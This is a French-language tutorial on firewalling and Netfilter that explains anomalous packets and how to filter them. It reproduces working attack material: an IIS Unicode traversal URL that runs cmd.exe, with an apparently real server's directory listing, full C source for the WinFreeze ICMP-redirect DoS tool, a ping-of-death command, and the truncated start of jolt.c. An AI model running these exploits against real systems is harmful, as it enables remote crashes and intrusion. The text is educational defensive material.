Copyright (c) 2001 labo-unix.org
Permission vous est donnée de copier, distribuer et/ou
modifier ce document selon les termes de la Licence GNU Free Documentation
License, Version 1.1 ou ultérieure publiée par la Free Software
Foundation ; avec les sections inaltérables suivantes :
- pas de section inaltérable
Une copie de cette Licence est incluse dans la section appelée
GNU Free Documentation License de ce document.
Le firewalling est une étape indispensable dans la mise en place d'un réseau et de sa sécurité. Le but de ce document est de présenter les différentes notions et contraintes qui entrent en jeu dans le firewalling ainsi que les mécanismes et fonctionnalités d'un programme tel que Netfilter (Partie du noyau de Linux 2.4).
Avant d'étudier directement Netfilter, nous allons voir quelques définitions et faire quelques rappels sur certaines notions de réseau. Bien que théorique (il y a un peu d'exemples heureusement:), cette étape est tout à fait nécessaire pour avoir une bonne approche des contraintes liées à la mise en place d'un firewall ...
L'explication la plus simple : c'est juste un élément d'un réseau ( une machine ou un routeur) dont le rôle est de protéger un ou plusieurs réseaux. Il accomplit cette tâche en interdisant certains types de trafic d'arriver ou de partir d'un réseau à un autre. Il ne faut pas croire cependant qu'un firewall va assurer la sécurité totale d'un réseau, il ne permet que de l'enforcer. Si vous autorisez un certain type de trafic parvenir aux machines de votre reseau (ce qui est souvent le cas, sinon pas besoin d'internet) la sécurité depend alors du logiciel qui traite les données reçues sur ces machines. Si ces machines sont compromises, le firewall ne sert presque (merci les logs) plus à rien dans la protection de votre réseau.
Par exemple, vous possédez un reseau privé relié à internet et protégé par un firewall. Comme votre société possède un site web, vous avez sur votre réseau un serveur web (IIS par exemple) pour lequel le firewall va autoriser le trafic http (port 80) à passer dans les deux sens. Si jamais le logiciel de votre serveur web qui traite les requête HTTP est buggé, il y a un risque qu'un attaquant puisse exécuter du code arbitraire (le code qu'il souhaite) sur cette machine. A partir de ce moment, le firewall ne sert plus à rien car le vilain (c'est comme ça qu'on appellera les pirates dans ce document) est déjà sur le réseau local. On peut néanmoins se protéger en partie de certaines de ces attaques grâce aux proxys. Voici un exemple de compromission d'un serveur web ( Nous avons choisi IIS totalement au hasard :) Supposons (un instant biensûr) que nous ayons un serveur web qui fait tourner un IIS 5 en configuration par défaut. C'est malheureusement assez fréquent ... Dans notre brouteur web on tape ceci :
http://www.example.org/scripts/../../../winnt/system32/cmd.exe?/c+dir+c:\Rien ne se passe, le serveur refuse de remonter l'arboréscence. En revanche, si on remplace le caractère / par son équivalent en caractère UNICODE %255c, le résultat est beaucoup plus impressionnant :
http://www.example.org/scripts/..\%255c..\%255c../winnt/system32/cmd.exe?/c+dir+c:\Là, ca marche, on a un beau listing du lecteur c. Sur un certain site web ça donnait ceci dans le brouteur :
R\'epertoire de c:\ 08/11/00 13:44 113 6493452.key 19/09/00 20:42 135 199 Alapage.txt 18/07/00 19:17 0 AUTOEXEC.BAT 18/07/00 18:59 0 BOOT.BAK 09/04/01 16:19 <DIR> CFUSION 18/07/00 17:20 <DIR> COMPAQ 28/09/00 12:53 10 240 compte.xls 28/09/00 12:53 10 240 compteE.xls 28/09/00 12:54 9 728 comptes.xls 28/09/00 12:54 104 960 compteur.xls 18/07/00 19:17 0 CONFIG.SYS 18/07/00 17:19 <DIR> CPQSYSTEM 03/11/00 15:00 <DIR> DWDDXX5.DDD 04/04/01 17:11 1 582 flMon.pmc 14/09/00 22:46 152 014 GlobalProduit.csv 22/05/01 19:46 <DIR> InetPub 20/07/00 10:42 <DIR> MSSQL7 29/11/00 04:15 42 496 oldCate.xls 22/05/01 23:35 555 745 280 pagefile.sys 19/05/01 14:04 <DIR> Program Files 27/09/00 22:38 11 776 Quizz2109_2609.xls 06/11/00 16:34 2 108 QuizzBST.txt 14/11/00 20:23 39 424 REF OK.xls 21/05/01 17:37 17 409 833 regbak.txt 18/07/00 18:30 7 764 SUMMARY.TXT 22/05/01 23:29 <DIR> TEMP 19/07/00 13:46 <DIR> vbroker 22/05/01 23:37 <DIR> WINNT 19/05/01 16:50 <DIR> ~SIW007E
Au passage, QuizzBST.txt c'était un export en texte pur de la base des questions ( et des réponses) à jeu concours que proposait le site ...
Il ne faut pas oublier de préciser un répertoire qui a les droits d'exécution (comme scripts, cgi-bin, msadc ... ) sinon ça ne fonctionnera pas. En fait ca vous proposera à la place de télécharger l'exécutable, ce qui est déjà pas mal !
Il existe bien entendu le même genre de problèmes
du coté des clients. Ce lien explique un récent buffer overflow
dans IE 5.5 et 6 qui permet, via une page web ou un mail en html,
d'exécuter n'importe quel code sur la machine qui fait tourner
le browser. Pour plus d'informations :
http://www.cert.org/advisories/CA-2002-04.html
Dans ces cas là, le firewall (de base) ne peut rien pour nous, il faut mettre en place d'autres techniques de défense (IDS) ou alors utiliser un firewall/proxy (efficace au niveau serveur). Mais justement, quelle est la différence entre un firewall et un proxy ?? En fait les deux sont considérés comme des firewalls, mais on fera plutôt référence à du filtrages de paquets ou à un proxy pour bien faire la différence entre les deux.
Le filtrage de paquets ne concerne que les couches 3 et 4 du modèle OSI (la couche 2 aussi mais dans ce cas on parlera plutôt de filtrage par adresses MAC). On ne verifie que les en-tête IP, TCP, UDP, ICMP etc et jamais le contenu de ces paquets. L'avantage est que cette tâche est peu coûteuse en terme de puissance et permet d'effectuer du filtrage sur des débits très importants (biensûr cela depend du nombre de filtres que vous placerez).
Les proxya, eux, travaillent sur la couche 7 (application) du modèle OSI. Ils examinent le contenu des paquets TCP ou UDP et savent interpréter différents protocoles de la couche application (IRC, FTP, SSH, telnet, DNS, HTTP) pour en déduire leur comportement. On les appelle aussi ``application gateways'' (passerelles applicatives) car il comprennent le même langage que les applications clientes telles que les navigateur web, les clients FTP ou IRC etc. Ils sont très très efficaces car il permettent un contrôle strict des données qui arrivent aux applications mais ils sont très couteux en mémoire et en temps CPU. Sur un débit rapide avec beaucoup de trafic, il n'est même pas la peine d'envisager cette solution sans mettre en place un système de load balancing (répartition de la charge sur différentes machines).
De plus en plus, ces deux types de firewalls ont tendance à se confondre car pratiquement tous les proxy implémentent un système de filtrage de paquets et les firewall des fonctions de proxy. Par exemple, on peut dire à un logiciel de proxy de ne pas autoriser certaines IP sources (donc regarder l'en-tête IP des paquets) et on peut dire à un logiciel de firewall de forwarder un transfert FTP en éxaminant une de ses commandes (PORT).
Les proxys et les filtres permettent donc de renforcer la sécurité de notre réseau vis-à-vis de l'extérieur (internet, autre réseau) nous verrons plus loin qu'ils peuvent cependant être eux-même être à l'origine de trous de sécurité.
Pour mettre en place un firewall/proxy, il est bon de savoir quel trafic réseau on doit ou non autoriser. Une petite incursion du coté obscur de la force nous permettra de nous rendre compte des failles inhérentes aux protocoles réseau (ICMP, TCP ... ) ou à leur implémentation dans les systèmes d'exploitation et de savoir quelles mesures il faut prendre pour s'en protéger.
Bien qu'un certain nombre des paquets que nous allons voir soient automatiquement refusés par la plupart des firewalls il est important de comprendre le la signification de certains qui souvent représentent la signature d'une attaque. On pourra ainsi mieux identifier le trafic suspect dans nos logs.
Une en-tête IP :
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| IHL |Type of Service| Total Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Identification |Flags| Fragment Offset | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Time to Live | Protocol | Header Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Destination Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+Un paquet anormal est un paquet qui viole les règles des standards IP. Il peut être originaire de plusieurs sources:
Un champ de 4 bits de l'en-tête IP permet de définir la version du protocole IP utilisée. Les deux seules valeurs possibles sont 4 et 6 (IPv4 et IPv6). Actuellement, la plupart des réseaux sont en IPv4. Un autre valeur dans ce champ correspondra donc à un paquet non valide.
IP utilise aussi deux champs de 32 bits qui représentent l'adresse source et l'adresse de destination du datagramme. Comme vous le savez déjà, certaines plages sont réservées (par l'IANA) aux réseaux locaux :
Mais la raison peut encore être la génération d'un paquet par un attaquant (IP Spoofing) La raison principale de l'IP spoofing c'est l'anonyma (au yeux du destinataire) qui peut rendre plus difficile le traçage de la véritable IP de l'expéditeur.
Cependant, s'ils ont un QI supérieur à celui de l'huitre, ils tenteront de prendre une IP routable sur Internet (correcte mais qui peut appartenir à quelq'un d'autre. Dans ce cas, on croira avoir localise le vilain, on previendra le provider de l'IP source qui enverra un mail de menaces à un pauv' gars alors qu'il n'a rien fait ;)
Un type de spoofing qu'on appelle Land Attack consiste à mettre l'adresse source à la même valeur que l'adresse dest. Les paquets doivent toujours avoir une adresse source et dest différente (sauf en loopback).
Voici un mail qui date de novembre 97 qui décrit un DoS utilisant ce type d'attaque :
------------------------------------------------------------------------------
The LAND attack (IP DOS)
Summary
Description:
Sending a packet to a machine with the source host/port the same as the
destination host/port crashes a lot of boxes.
Author: m3lt <meltman@LAGGED.NET>
Compromise:
Remote DOS attack (reboots many systems)
Vulnerable Systems:
Windows95, Windows NT 4.0, WfWG 3.11, FreeBSD
Date: Thu, 20 Nov 1997 19:40:19 -0500
From: m3lt <meltman@LAGGED.NET>
To: BUGTRAQ@NETSPACE.ORG
Subject: new TCP/IP bug in win95 hi, i recently discovered a bug
which freezes win95 boxes. here's how
it works: send a spoofed packet with the SYN flag set from a host, on an open
port (such as 113 or 139), setting as source the SAME host and port
(ie: 10.0.0.1:139 to 10.0.0.1:139). this will cause the win95 machine to lock
up. the piece of code included in this message does that, so{\ldots}
have fun! i haven't tested this bug on other platforms, i don't have
the ressources. please feel free to do so. m3lt
meltman@lagged.net
------------------------------------------------------------------------------
Pour se protéger contre l'IP Spoofing, on ne doit accépter que les paquets entrants qui ont une adresse source hors de la plage de notre réseau local, et les paquets sortants dont l'adresse source est dans la plage de notre réseau local. En plus de cela, on doit interdire les plages privées mentionnées précedemment sur la patte Internet.
Règles à retenir :
Une en-tête TCP :
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Port | Destination Port | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Sequence Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Acknowledgment Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Data | |U|A|P|R|S|F| | | Offset| Reserved |R|C|S|S|Y|I| Window | | | |G|K|H|T|N|N| | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Checksum | Urgent Pointer | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | data | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Flags :
Comme vous le savez, TCP (RFC 793 : http://www.ietf.org/rfc/rfc0793.txt?number=793) est un protocole orienté connexion. Il utilise différents flags pour indiquer si la connexion commence, se termine, transporte des données prioritaires ... Beaucoup d'attaques sont basées sur la modification des flags de TCP. Certaines combinaisons de flags peuvent permettre de déjouer les firewalls ou les IDS, d'autres permettent de crasher le système cible. Le RFC définit comment les systèmes d'exploitation doivent réagir aux paquets valides, mais il n'explique pas comment gérer les paquets dont les flags sont invalides. Par conséquent, différents OS répondent différemment aux mauvaises combinaisons ce qui permet entre autres, de savoir de quel OS il s'agit (OS fingerprinting). Il faut au moins un de ces 6 flags dans un paquet TCP, chacun de ceux-ci est un bit precis de l'en-tête TCP :
Autres anomalies :
Pour certains types de scans, il n'y a pas grand chose à faire ... à partir du moment ou il y a un windows 95/98 ... ceci est du au comportement de sa pile TCP/IP. Il repond par RST à un SYN ACK et rien à un RST ACK ... comme tous les OS, mais ce sont ses IP id qui sont diffèrents ... ils sont totalement prévisibles ! Si on a un scan qui vient d'un 95 ou d'un 98 cela ne vient pas forcément de cette machine, méfiance ...
démonstration :
pile normale (OpenBSD) :
{/home/fugu}-->hping -r 192.168.0.1 <(17:19:36)
HPING 192.168.0.1 (eth0 192.168.0.1): NO FLAGS are set, 40 headers + 0 data
bytes
len=46 ip=192.168.0.1 flags=RA seq=0 ttl=64 id=39082 win=0 rtt=0.5 ms
len=46 ip=192.168.0.1 flags=RA seq=1 ttl=64 id=+25072 win=0 rtt=0.4 ms
len=46 ip=192.168.0.1 flags=RA seq=2 ttl=64 id=+42025 win=0 rtt=0.4 ms
len=46 ip=192.168.0.1 flags=RA seq=3 ttl=64 id=+64050 win=0 rtt=0.4 ms
len=46 ip=192.168.0.1 flags=RA seq=4 ttl=64 id=+21830 win=0 rtt=0.4 ms
len=46 ip=192.168.0.1 flags=RA seq=5 ttl=64 id=+38025 win=0 rtt=0.4 ms
len=46 ip=192.168.0.1 flags=RA seq=6 ttl=64 id=+50462 win=0 rtt=0.7 ms
len=46 ip=192.168.0.1 flags=RA seq=7 ttl=64 id=+6441 win=0 rtt=0.4 ms
len=46 ip=192.168.0.1 flags=RA seq=8 ttl=64 id=+3569 win=0 rtt=0.4 ms
len=46 ip=192.168.0.1 flags=RA seq=9 ttl=64 id=+54366 win=0 rtt=0.4 ms
len=46 ip=192.168.0.1 flags=RA seq=10 ttl=64 id=+61567 win=0 rtt=0.4 ms
len=46 ip=192.168.0.1 flags=RA seq=11 ttl=64 id=+9221 win=0 rtt=0.4 ms
len=46 ip=192.168.0.1 flags=RA seq=12 ttl=64 id=+3342 win=0 rtt=0.4 ms
pile de 98 :
{/home/fugu}-->hping -r 192.168.0.2 <(17:30:02)
HPING 192.168.0.2 (eth0 192.168.0.2): NO FLAGS are set, 40 headers + 0 data
bytes
len=46 ip=192.168.0.2 flags=RA seq=0 ttl=128 id=47878 win=0 rtt=0.5 ms
len=46 ip=192.168.0.2 flags=RA seq=1 ttl=128 id=+256 win=0 rtt=0.5 ms
len=46 ip=192.168.0.2 flags=RA seq=2 ttl=128 id=+256 win=0 rtt=0.5 ms
len=46 ip=192.168.0.2 flags=RA seq=3 ttl=128 id=+256 win=0 rtt=0.5 ms
len=46 ip=192.168.0.2 flags=RA seq=4 ttl=128 id=+256 win=0 rtt=0.5 ms
len=46 ip=192.168.0.2 flags=RA seq=5 ttl=128 id=+256 win=0 rtt=0.5 ms
--- 192.168.0.2 hping statistic ---
6 packets tramitted, 6 packets received, 0% packet loss
round-trip min/avg/max = 0.5/0.5/0.5 ms
Quand il reçoit le SYN/ACK et envoie son reset
:
{/home/fugu}-->hping -r 192.168.0.2 <(17:29:54)
HPING 192.168.0.2 (eth0 192.168.0.2): NO FLAGS are set, 40 headers + 0 data
bytes
len=46 ip=192.168.0.2 flags=RA seq=0 ttl=128 id=45830 win=0 rtt=0.5 ms
len=46 ip=192.168.0.2 flags=RA seq=1 ttl=128 id=+256 win=0 rtt=0.5 ms
len=46 ip=192.168.0.2 flags=RA seq=2 ttl=128 id=+256 win=0 rtt=0.5 ms
--> len=46 ip=192.168.0.2 flags=RA seq=3 ttl=128 id=+512 win=0 rtt=0.5 ms
len=46 ip=192.168.0.2 flags=RA seq=4 ttl=128 id=+256 win=0 rtt=0.5 ms
Entre les paquets de réponse à nos pings,
on voit qu'il a envoyé un paquet puisque le champ id est incrémenté
de 512 au lieu de 256.
Règles à retenir :
Comme vous le savez aussi, UDP, contrairement à TCP n'est pas orienté connexion. Vous n'avez pas tous les flags reservés que possède TCP. Par contre, les deux s'appuient sur le port source et destination. Donc comme pour TCP, le port de source ou de dest ne doit jamais être 0. Les paquets UDP peuvent aussi être fragmentés de façon malicieuse, nous étudierons ce point un peu plus loin.
Règles à retenir :
Une en-tête de paquet ICMP Destination Unreachable :
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Type | Code | Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | unused | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Internet Header + 64 bits of Original Data Datagram | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
types ICMP :
ICMP est utilisé pour envoyer des messages d'erreur entre deux boxes ou entre un routeur et une box etc. Comme UDP et IP ne sont pas connectés, ils s'appuient sur ICMP pour envoyer leurs messages d'erreur sur leur comportement. Pour éviter les loops on envoie jamais de réponse aux messages d'erreur ICMP. ICMP n'a pas de numéro de port, il utilise des types de messages et des codes à la place. Il supporte le broadcast. Comme un paquet ICMP est assez simple, il n'y a pas beaucoup de façon de faire un paquet ICMP anormal.
Un type de message ICMP qui est utilisé malicieusement est le redirect. Ce type de message sert a un routeur a informer un host qu'un autre routeur est plus optimal que lui pour contacter une certaine IP dest. Il existe des attaques, comme WinFreeZe qui génere de faux paquets ICMP redirect pour faire croire à une machine qu'elle est elle même le router le plus optimal ... Ce qui freeze effectivement le dows (95/98 NT4 jusqu'au SP4) . Linux, *BSD permettent d'ignorer ces messages. Une autre attaque, plus grave consiste à faire croire à une machine qu'une autre (sur laquelle ont est root) est le routeur optimal et routeur effectivement ces paquets tout en les sniffant. Ceci peut donc très mal se finir. Il est donc intéressant d'interdire ce type de trafic qui ne sert que rarement.
Le code de WinFreeze (Juste pour tester !) :
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
/*
* * Structure of an icmp header (from sparc header).
* */
u_short in_cksum (u_short *addr, int len);
void attack( char *sendtoip, char *sendfromip, time_t wtime, int s );
void main (int argc, char **argv)
{
time_t wtime;
char *sendtoip, *sendfromip;
int s, on;
if (argc != 4)
{
fprintf (stderr, "usage: %s sendto sendfrom time\n", argv[0]);
exit (1);
}
sendtoip = (char *)malloc(strlen(argv[1]) + 1);
strcpy(sendtoip, argv[1]);
sendfromip = (char *)malloc(strlen(argv[2]) + 1);
strcpy(sendfromip, argv[2]);
wtime = atol(argv[3]);
if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
fprintf (stderr, "socket creation error\n" );
exit (1);
}
#ifdef IP_HDRINCL
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, &on, sizeof (on)) < 0)
{
fprintf (stderr, "sockopt IP_HDRINCL error\n" );
exit (1);
}
#endif
printf("winfreez by Delmore, <delmore@moscowmail.com>\n");
printf("Soldiers Of Satan group, http://sos.nanko.ru\n\n");
printf("sendto = %s\n", sendtoip);
printf("sendfrom = %s\n", sendfromip);
printf("time = %i s\n", wtime);
attack( sendtoip, sendfromip, wtime, s );
free( (void *) sendtoip );
free( (void *) sendfromip );
}
void attack( char *sendtoip, char *sendfromip, time_t wtime, int s )
{
time_t curtime, endtime;
int i1, i2, i3, i4;
char redir[21];
char buf[100];
struct ip *ip = (struct ip *) buf;
struct icmp *icmp = (struct icmp *) (ip + 1);
struct hostent *hp;
struct sockaddr_in dst;
if(wtime==0) return;
if ((hp = gethostbyname (sendtoip)) == NULL)
if ((ip->ip_dst.s_addr = inet_addr (sendtoip)) == -1)
{
fprintf (stderr, "%s: unknown sendto\n", sendtoip);
exit (1);
}
if ((hp = gethostbyname (sendfromip)) == NULL)
if ((ip->ip_src.s_addr = inet_addr (sendfromip)) == -1)
{
fprintf (stderr, "%s: unknown sendfrom\n", sendfromip);
exit (1);
}
endtime = time(NULL) + wtime;
srand((unsigned int) endtime);
do {
bzero (buf, sizeof buf);
/* sendto/gateway */
hp = gethostbyname (sendtoip);
bcopy (hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
bcopy (hp->h_addr_list[0], &icmp->icmp_gwaddr.s_addr, hp->h_length);
/* sendfrom */
hp = gethostbyname (sendfromip);
bcopy (hp->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length);
/* generate redirect*/
i1 = 1+(int) (223.0*rand()/(RAND_MAX+1.0));
i2 = 1+(int) (253.0*rand()/(RAND_MAX+1.0));
i3 = 1+(int) (253.0*rand()/(RAND_MAX+1.0));
i4 = 1+(int) (253.0*rand()/(RAND_MAX+1.0));
bzero (redir, sizeof redir);
sprintf(redir,"%u.%u.%u.%u", i4, i3, i2, i1 );
hp = gethostbyname (redir);
bcopy (hp->h_addr_list[0], &icmp->icmp_ip.ip_dst.s_addr, hp->h_length);
ip->ip_v = 4;
ip->ip_hl = sizeof *ip >> 2;
ip->ip_tos = 0;
ip->ip_len = htons (sizeof buf);
ip->ip_id = htons (4321);
ip->ip_off = 0;
ip->ip_ttl = 255;
ip->ip_p = 1;
ip->ip_sum = 0; /* kernel fills this in */
bcopy (&ip->ip_dst.s_addr, &icmp->icmp_ip.ip_src.s_addr, sizeof
(ip->ip_dst.s_addr));
icmp->icmp_ip.ip_v = 4;
icmp->icmp_ip.ip_hl = sizeof *ip >> 2;
icmp->icmp_ip.ip_tos = 0;
icmp->icmp_ip.ip_len = htons (100); /* doesn't matter much */
icmp->icmp_ip.ip_id = htons (3722);
icmp->icmp_ip.ip_off = 0;
icmp->icmp_ip.ip_ttl = 254;
icmp->icmp_ip.ip_p = 1;
icmp->icmp_ip.ip_sum = in_cksum ((u_short *) & icmp->icmp_ip, sizeof *ip);
dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;
icmp->icmp_type = ICMP_REDIRECT;
icmp->icmp_code = 1; /* 1 - redirect host, 0 - redirect net */
icmp->icmp_cksum = in_cksum ((u_short *) icmp, sizeof (buf) - sizeof
(*ip));
if( sendto( s, buf, sizeof buf, 0, (struct sockaddr *) &dst, sizeof dst) <
0 )
{
fprintf (stderr, "sendto error\n");
exit (1);
}
}while (time(NULL)!=endtime);
}
/*
* * in_cksum -- Checksum routine for Internet Protocol family headers (C
* * Version) - code from 4.4 BSD
* */
u_short in_cksum (u_short *addr, int len)
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/*
* * Our algorithm is simple, using a 32 bit accumulator (sum), we add
* * sequential 16 bit words to it, and at the end, fold back all the
* * carry bits from the top 16 bits into the lower 16 bits.
* */
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return (answer);
}
La plupart des paquets ICMP sont composés d'un petit header (8 octets) et d'une zone de données. un echo request (ping) fait généralement 64 octets. Les paquets ICMP largement plus gros doivent être considérés comme suspects. Certains types comme echo request ne doivent pas contenir de données car certaines applications comme des DoS distribués (Tribe Flood Network), des programmes de tunneling ou des chevaux de troyes utilisent la partie data des paquets ICMP pour envoyer leurs informations sans être détectés. Il existe par exemple LOKI une application client/serveur qui permet de se connecter sur un shell root à travers des echo request et echo reply, même principe de fonctionnement pour TFN (contact des démons). On prendra donc soin de dire a notre firewall de nous logger ou refuser les paquets un peu larges ou carrément interdire les echo request reply possédant des données (ce qui est quand même contournable et pose des pbs (ping -s ..)).
Pour les attaques de type smurf, il n'y a pas grand chose à faire car elles reposent sur le nombre important de réseaux mal configurés (la majorité en fait) qui soit repondent autant qu'ils peuvent aux echo request (qu'on aura pris soin de spoofer) ce qui représente (si on a une assez grande liste) une bande passante énorme. Donc même si on limite ou interdit ce type de trafic, la gateway n'est pas saturée mais sa connexion l'est complètement. Il est en plus assez difficile de remonter ce type d'attaques (à cause du spoof initial) Heureusement, de plus en plus de provider (dont NOOS) verifient les adresses sources sur leur routeur rendant difficile le spoof pour les personnes ayant un modem câble. Ceci reduit déjà pas mal les pistes et les risques.
ICMP est pratique mais très dangeureux ! Plus dangeureux que pratique Il est bien de bloquer tout ICMP sauf les destination unreachable entrant qui servent à déterminer le MTU des connexions TCP et qui permet de savoir si une ip/port/réseau est accessible sans attendre le time exceed. En sortant par contre, on peut l'interdire (si on est parano et pas sympa) car cela peut permettre en jouant avec le TTL de mapper un réseau, de savoir pourquoi la déstination est inaccessible. De plus, un module pour Iptables s'occupe de règler le MTU des transmissions au MTU de l'interface du firewall.
Règles à retenir :
Pour Linux : sysctl -w net.ipv4.conf.eth0.accept_redirects = 0
Quand un paquet IP est trop grand, pour être transmis, il doit être divisé en plusieurs morceaux qui, eux, peuvent passer. On appelle chacun de ces morceaux un fragment. Plusieurs protocoles peuvent être fragmentés TCP, UDP, ICMP mais on recontrera ce cas avec TCP le plus fréquemment. On peut encore une fois generer ce type de paquets pour faire crasher des systèmes ou déjouer les firewalls et les IDS. Certains IDS et Firewalls (ipfwadm) ne réassemblent pas les paquets donc ils ne vérifient que les proprietés de chaque paquet ceci peut compromettre totalement la securité ... Il suffit de d'envoyer des paquets fragmentés avec un mauvais offset, l'offset sert à indiquer ou un fragment doit être placé dans un paquet reassemblé. Le premier fragment semble normal bien qu'il soit très petit. Le second possède un offset qui est plus petit que la taille du paquet précédent ... Donc si le premier fragment fait 24 octets et que le second dit qu'il commence à 20 octets, cela va permettre d'écraser les 4 derniers octets du premier paquet. Si le paquet fragmenté est du TCP, le premier fragment va contenir le header avec le port de destination et lorsque l'autre paquet arrivera, il écrasera ce port avec ses données (au moment où il arrive a déstination). Le résultat est que si on envoie un paquet fragmenté à travers un port ouvert du firewall (port 80 par exemple) et lorsque celui-ci sera réassemblé il ira en fait sur un autre port (qu'on aura biensûr choisit) , ce qui équivaut à ne plus avoir de firewall.
Cette attaque peut aussi servir à faire crasher certains OS. Selon les traitements effectués par la pile TCP/IP de l'OS, au moment du réassemblage, il calcule une taille négative pour le second fragment. Cette valeur est passée à une fonction qui fait une copie depuis la mémoire ... mais la mémoire ne gère pas de nombres négatifs et croit en fait à un très grand positif ... le résultat est immédiat.
Un second type d'attaque utilisant des fragment s'appelle TFA (Tiny Fragment Attack). Elle ressemble beaucoup a la précédente. On crée deux fragments TCP, le premier est tellement petit qu'il ne contient pas l'en-tête TCP entière, surtout le numero de port destination, le second contient donc la fin de ce header (avec le port dest). Certains firewalls laissent passer ce genre de paquets. Mais ce n'est plus du tout la majorité.
Un autre type d'attaque consiste à envoyer des paquets fragmentés anormalement grand. Chaque fragment ne dépasse pas la taille maximale mais le paquet reassemblé la dépasse. Ceci permettait de faire planter pas mal de machines (95/98,NT3.51,MacOS 9,Linux 2.0.x,Solaris pour x86 et bien d'autres) . Cette attaque commence à être un peu vieille mais il reste beaucoup de ces systèmes présents sur le net ... Pour NT 3.51 c très simple : ping -l 65510 -s 1 ip.de.la.victime
code source. jolt.c pour (ou contre plutot) 95 :
/* jolt
* 1.0 (c) 1997 by Jeff w. Roberson
* * Please, if you use my code give me credit. Also, if i
* was the first to
* * find this glitch, please give me credit. Thats all i
* ask.
* *
* * Ok so all this does is build a really fraggmented over
* sized packet
* * and once win95 gets it, and puts it back together it
* locks. I send
* * multiple packets by default cause some times it takes a
* few packets to
* * totally freeze the host. Maybe its spending processor
* time to figure
* * out how to put them back together? I've had reports of
* people blue
* * screening from it tho so we'll let Microsoft's boys
* figure out exactly
* * what this does to 95. As of now i haven't tested it on
* NT, but maybe
* * i will later ;). All of this source wasn't origonally
* written by me
* * I just took one of the old programs to kill POSIX and
* SYSV based
* * systems and worked on it abit, then made it spoof =).
* * VallaH (yaway@hotmail.com)
* *
* * Update: It apears to work on some older versions of mac
* os
* */
/* Yah this is for linux, but i like the BSD ip header
* better then linux's */
#define __BSD_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <arpa/inet.h>
int main(int argc, char **argv)
{
int s,i;
char buf[400];
struct ip *ip = (struct ip *)buf;
struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
struct hostent *hp, *hp2;
struct sockaddr_in dst;
int offset;
int on;
int num = 5;
if (argc < 3) {
printf("Jolt v1.0 Yet ANOTHER windows95(And macOS!)
glitch by VallaH (yaway@hotmail.com)\n");
printf("\nusage: %s <dstaddr> <saddr>
[number]\n",argv[0]);
printf("\tdstaddr is the host your
attacking\n");
printf("\tsaddr is the host your spoofing
from\n");
printf("\tNumber is the number of packets to send, 5
is the default\n");
printf("\nNOTE: This is based on a bug that used to
